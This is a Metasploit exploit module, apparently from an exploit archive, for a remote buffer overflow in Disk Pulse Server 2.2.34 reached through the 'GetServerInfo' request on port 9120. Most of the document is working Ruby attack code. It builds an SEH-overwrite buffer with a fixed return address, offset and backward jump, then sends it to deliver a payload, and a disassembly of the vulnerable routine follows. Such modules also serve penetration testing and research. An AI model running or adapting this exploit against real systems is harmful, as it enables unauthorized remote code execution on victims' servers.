Disk Pulse Server 2.2.34 Buffer Overflow

This Metasploit module exploits a buffer overflow vulnerability found in libpal.dll of Disk Pulse Server version 2.2.34. The overflow is triggered when sending an overly long 'GetServerInfo' request to the service listening on port 9120.


MD5 | 4fe44206eb458c215a59974aae93f192

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Disk Pulse Server \'GetServerInfo\' Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow vulnerability found
in libpal.dll of Disk Pulse Server v2.2.34. The overflow
is triggered when sending an overly long 'GetServerInfo'
request to the service listening on port 9120.
},
'Author' => [ 'James Fitts' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
[ 'BID', '43919' ],
[ 'URL', 'http://www.saintcorporation.com/cgi-bin/exploit_info/disk_pulse_getserverinfo' ],
[ 'URL', 'http://www.coresecurity.com/content/disk-pulse-server-getserverinfo-request-buffer-overflow-exploit-10-5' ]
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 300,
'BadChars' => "\x00\x0a\x0d\x20",
'DisableNops' => 'True',
'StackAdjustment' => -3500,
'Compat' =>
{
'SymbolLookup' => 'ws2ord',
}
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP3 EN',
{
# p/p/r
# libspp.dll
'Ret' => 0x1006f71f,
'Offset' => 303
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 19 2010'))

register_options([Opt::RPORT(9120)], self.class)
end

def exploit
connect

sploit = "GetServerInfo"
sploit << "\x41" * 8
sploit << payload.encoded
sploit << "\x42" * (303 - (8 + payload.encoded.length))
sploit << generate_seh_record(target.ret)
sploit << make_nops(4)
sploit << "\xe9\xc4\xfe\xff\xff" # jmp $-311
sploit << rand_text_alpha_upper(200)

print_status("Trying target #{target.name}...")

sock.put(sploit)

handler
disconnect
end

end
__END__
0033C05C 55 PUSH EBP
0033C05D 8B6C24 1C MOV EBP,DWORD PTR SS:[ESP+1C]
0033C061 3AC2 CMP AL,DL
0033C063 74 14 JE SHORT libpal.0033C079
0033C065 3C 0D CMP AL,0D
0033C067 74 10 JE SHORT libpal.0033C079
0033C069 3C 0A CMP AL,0A
0033C06B 74 0C JE SHORT libpal.0033C079
0033C06D 41 INC ECX
0033C06E 88042F MOV BYTE PTR DS:[EDI+EBP],AL
0033C071 47 INC EDI
0033C072 8A0431 MOV AL,BYTE PTR DS:[ECX+ESI]
0033C075 84C0 TEST AL,AL
0033C077 ^75 E8 JNZ SHORT libpal.0033C061
0033C079 C6042F 00 MOV BYTE PTR DS:[EDI+EBP],0
0033C07D 5D POP EBP
0033C07E 5F POP EDI
0033C07F 890B MOV DWORD PTR DS:[EBX],ECX
0033C081 5E POP ESI
0033C082 B8 01000000 MOV EAX,1
0033C087 5B POP EBX
0033C088 C3 RETN


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